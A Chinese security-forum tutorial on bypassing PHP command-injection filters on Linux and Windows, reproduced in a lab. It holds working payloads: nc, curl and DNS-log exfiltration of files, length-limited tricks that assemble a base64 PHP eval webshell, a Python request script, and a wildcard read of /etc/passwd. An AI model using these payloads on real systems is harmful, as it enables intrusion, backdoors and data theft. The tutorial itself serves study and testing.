system
(string $command, int &$return_var = ?): string
执行系统命令,有回显
passthru
(string $command, int &$return_var = ?): void
执行系统命令并且显示原始输出
shell_exec
(string $cmd): string)
通过shell环境执行命令,并且将完整的输出以字符串形式返回(无回显)
exec
(string $command, array &$output = ?, int &$return_var = ?): string
执行一个外部程序, 同时无回显,且输出的时候仅返回命令的最后一行
echo `ls`;
只要在反引号里的字符串都会被当作代码执行,注意如果反引号在单、双引号内则不起作用
这类型函数会在代码执行的时候讲到,故这里只说明一点,如果回调函数执行的是上述的执行系统命令的函数,那么回调函数也可以被当成命令执行使用
换行符 %0a
回车符 %0d(利用fuzz测试从%00-%ff)
连续指令 ;
后台进程 & # java -jar test.jar & 表示进行放到后台执行,无法被ctrl+c杀死
管道符 | # echo 'ls' | bash
逻辑符 || && # skjkfj||ls 由于前面命令不存在而为假,转而执行后面的ls
$PWD 代表环境变量
expr${IFS}substr${IFS}$SESSION_MANAGER${IFS}14${IFS}1
$u # $u在Linux中代表的是空字符串,并不是代表是空格,这里有一些好玩的技巧
c${u}at index$u.php$u
c`$u`at index$u.php$u
对于无回显的情况,和sql注入无回显的思路差不多!(所以方法只是其次,主要是思路)
> 判断思路
延时 ls|sleep(3)
HTTP请求 curl
DNS请求 ping
> curl进行检测
有一台可以进行通信的vps
vps 上执行 nc -lvnp 4444
在目标机器上执行curl vps:4444
观察vps的连接情况
若出现返回,则说明这里是存在命令执行的
或者是编写sh脚本
curl ip/1.sh > /tmp/1.sh
1.sh里面写
内容 | nc vps的ip 监听端口
让受害机器将数据发送给你
> dnslog进行检测
由于域名转换成ip需要经过一次dns解析,所以可以通过dnslog将数据外带出来
推荐如下两个dnslog地址:
http://dnslog.cn
http://ceye.io/records/dns
注:在实际运用中有如下的局限性
1、长度的限制,外带的数据不能过长
(解决思路:尝试将结果截断,分批次外带)
2、外带出来的数据中不能包含空格,很多特殊字符如(;>?
要目标机器去ping `cat where_is_flag.php|sed s/[[:space:]]/_/`.vflkgp.dnslog.cn
sed s/[[:space:]]// 会将cat读取的内容里面的所有空格替换为_
ping -c 4 `cat 1.php|sed s/[[:space:]]/_/|sed s/\/_/|sed s/\(/_/|sed s/\)/_/`.eugcs.ceye.io
可以尝试将所有可能出现的字符全部替换一遍
> 利用思路
写shell (直接写入/外部下载)
利用http/dns将数据外带
wget 远程下载
echo + >写入文件
mv 重命名
w>d\\ 写文件名后再通过 ls -t>0将文件名全部按时间顺序写入到0中 然后sh 0执行脚本,运气不错的话就可以生成马(因为这里在复现的时候出现了很多插曲)
> 思路
1、 通过 wget localhost/a (只要你的域名够短,不大于8位的域名就可以进行利用)
再进行重命名 mv a a.php
2、通过echo写入
echo \1
echo eval\(>>1
echo \$_GET>>1
echo \[1\]>>1
echo \)\;>>1
> 思路
这里首先想到wget去远程下载文件,但是发现 wget \a就已经7个字符了,所以这种利用思路在这里就不可行了
然后再想到用echo写入,这里也值得注意的是 echo >>1已经8个字符,远超过了限制
但是秉承上面第二个的思路,那有没有很短的命令也可以进行写入呢?这里由于思路比较新颖,故而详细的记录一下具体过程
介绍一下用到的命令:
w>a
向目录中写入一些数据并生成a文件
ls -t
按照时间顺序排列当前文件名
sh
用/bin/bash 执行文件中的命令集合
这里的思路就是将payload分隔成一条条的命令,然后利用 w> 生成文件名为payload的文件集合,利用ls写到一个文件中,再用sh执行分割的命令, 同时为了防止shell中的特殊字符影响,采用base64编码。具体流程如下:
echo PD9waHAgZXZhbCgkX0dFVFsxXSk7\|base64 -d\>1.php
分解成下面,放到 7byte.txt(尽可能每句话等长度,不然ls -t可能会出现排序错误,同时也要注意特殊字符的影响)
m>hp
m>1.p\\
m>d\>\\
m>\ -\\
m>e64\\
m>bas\\
m>7\|\\
m>XSk\\
m>Fsx\\
m>dFV\\
m>kX0\\
m>bCg\\
m>XZh\\
m>AgZ\\
m>waH\\
m>PD9\\
m>o\ \\
m>ech\\
ls -t>0
sh 0
用下面的脚本一次请求
# coding: utf-8
import time
import requests
url1 = "http://192.168.111.x/demo/rce7.php?1="
with open("7byte.txt", 'r') as f:
for i in f.readlines():
url = url1 + i.strip()
requests.get(url)
time.sleep(0.2)
print(f"已经请求{url}")
res = requests.get(url1[:-12]+"/1.php")
if res.status_code == 200:
print("ok, You have already upload!")
执行成功,成功写了一个shell
这是sh 执行的文件的内容 \表示命令未结束
0
ech\
o \
PD9\
waH\
AgZ\
XZh\
bCg\
kX0\
dFV\
Fsx\
XSk\
7|\
bas\
e64\
-\
d>\
1.p\
hp
a
7rce.php
和7字符思路一致,只是需要思考如何突破 ls -t>z
这里给出如下思路,先生成一个里面存有ls -t>z
的文件a,利用sh a
产生带有exp的z文件
ls -rt>z
由于Linux系统中ls默认排序是根据字符顺序排序的,所以拆解命令
>l\\
>s\ \\
>-rt\\
>\>z\\
ls>a
同样思路也是解决 ls -t>z
这个问题,但是如果是四个字符的话,很难找到相应的字母来固定ls执行后的顺序,所以这里有新的知识点
> 输入通配符*, Linux会把第一个列出来的文件名当作命令,剩下的文件名当作参数
>id
>root
*
uid=0(root) gid=0(root) 组=0(root)
> 增加字母来限定被用来当作命令和参数的文件
>ls
>lss
>lsss
*s
lss lsss
> rev将输出内容导致, dir将当前文件列出且不换行
>rev
echo 1234 > v
*v (等同于命令:rev v)
ls -t >0
所以我们需要构造的文件名为:`0dir
>e\>
>ht-
>sl
ls>a
![](https://nc0.cdn.zkaq.cn/md/4672/b950e07247efa3ad6145c6c4a732d566_33222.png)
>dir
>f\>
>ht-
>sl
>v
>rev
v>0
[root@localhost test]# cat 0
ls -th >f
payload如下
>hp
>p\
>1.\
>\>\
>-d\
>}\
>IFS\
>{\
>\$\
>base64\
>|\
>PD9waHAgZXZhbCgkX0dFVFsxXSk7\ # 这里是因为我偷懒了,忽略字符长度限制的payload,实际上这里按照思路一个字母一个字母的分割也是没问题的
>echo\ \
### 针对Windows系统
主要参考来源:[urfyyy师傅的文章](https://bbs.zkaq.cn/t/4557.html),有兴趣的小伙伴可以看下他的文章的原理,我这里仅仅记录总结和复现。
#### 分隔符
这里对分隔符做一些思考,是否像Linux一样存在多种方式进行多行命令执行呢?
![](https://nc0.cdn.zkaq.cn/md/4672/e284c44e99d5b0d080c07d20baab1055_40132.png)
假设执行这两个明明,中间的分隔符fuzz测试:
whoami%7cdir
%7c ————— | ————— 只会执行 后一个命令
%26 ————— & ————— 两个命令同时执行
%00 ————— NULL———— 执行前一个命令(这里有一个想法就是尝试使用00截断有可能看到函数报错信息)
%0a ————— 换行符———- 执行前一个命令
那么这里又引出了思考,是不是只有&&才可以在windows的DOS命令下连续执行多条命令
whoami&&dir&ipconfig
![](https://nc0.cdn.zkaq.cn/md/4672/e2ab68d2aed94eaa14cac98311608c30_76007.png)
whoami|dir||ipconfig
![](https://nc0.cdn.zkaq.cn/md/4672/b9b0bbae23b219b3e9f7ba655361b429_74473.png)
这里发现 || 是或的意思,前面为真后面就不执行了,且 | 是管道符,前面执行的结果给后一个命令,但是dir命令不需要whoami返回的结果,所以只返回了后面dir执行的结果。
可以用`dir /a/b | more`这个命令感受一些管道符的魅力
#### 空格替代
这里第一个想到的就是字符截取
set envar=whoami
%envar:~0% # 取出所有字符
%envar:~0,6% # 取出从第0个字符开始,取长度为6位的字符,这里由于whoami总共就是6个字符,所以命令成功执行
使用set可以看到有哪些全局变量是我们可以利用的
![](https://nc0.cdn.zkaq.cn/md/4672/a151d32b32b98cb9b076b78ad9ebca63_93844.png)
现在开始着手从环境变量里取出空格
PSModulePath=C:\Program Files\WindowsPowerShell\Modules
net%PSModulePath:~10,1%user
![](https://nc0.cdn.zkaq.cn/md/4672/e796507ad82dba5f52ef1c7846f8d5b4_63444.png)
d^i^r%CommonProgramFiles:~10,1%%SystemRoot:~0,3%
![](https://nc0.cdn.zkaq.cn/md/4672/1f625e57b66115d0e182650989a94e60_12258.png)
利用环境变量在C盘下写一句话,这里需要system权限
echo “123.php
echo “123.php
echo%CommonProgramFiles:~10,1%%TJ:~10,1%%SystemRoot:~0,3%1.%TJ:~14,1%h%TJ:~14,1%
%CommonProgramFiles:~10,1% 空格
%SystemRoot:~0,3% C:\
%TJ:~10,1% “
%TJ:~14,1% p
%TJ:~-4,1% ?
%TJ:~15,1% h
%TJ:~8,1% @
%TJ:~5,1% e
%TJ:~16,1% v
%TJ:~0,1% a
%TJ:~17,1% l
%TJ:~9,1% \
%TJ:~7,1% $
%TJ:~-1,1% o
%TJ:~22,2% st
%TJ:~11,1% ;
a bcde/$@”;fgphvlrequst?使前者闭合,后面的”之前添加一个# 注释掉
我们可以发现第一个引号可以当作使一个字符串存在,并不影响后面代码的运行只需要注释后面的引号就可以顺利执行
其他无回显和过滤特定函数思路和LInux系统一致
bypass主要是知识的积累和对抗,这篇文章如果有新的姿势我会持续的修改和更新,喜欢这篇文章的小伙伴可以给我点个赞吗!
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
xiao_yi | 0.02 | 0 | 2021-10-23 23:11:29 | <xxxs> |
xiao_yi | 0.02 | 0 | 2021-10-23 23:11:50 | <xxxs> |
xiao_yi | 0.01 | 0 | 2021-10-23 23:11:03 | 一个受益终生的帖子~~ |
xiaoc | 5.00 | 0 | 2021-08-16 17:05:46 | ~~~ |
Track-聂风 | 60.00 | 0 | 2021-08-14 16:04:21 | 限时投稿额外打赏 |
Track-聂风 | 120.00 | 0 | 2021-08-14 16:04:10 | 不错哦,继续加油 |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.
sunsky666
发表于 2021-8-15
大佬我来了
评论列表
加载数据中...
xiao_yi
发表于 2021-8-19
最近又看到可以尝试使用通配符达到绕过,在这里举个例子
/???/c?t /e??/p?s??d
因为这里用的是服务器,所以打了码
评论列表
加载数据中...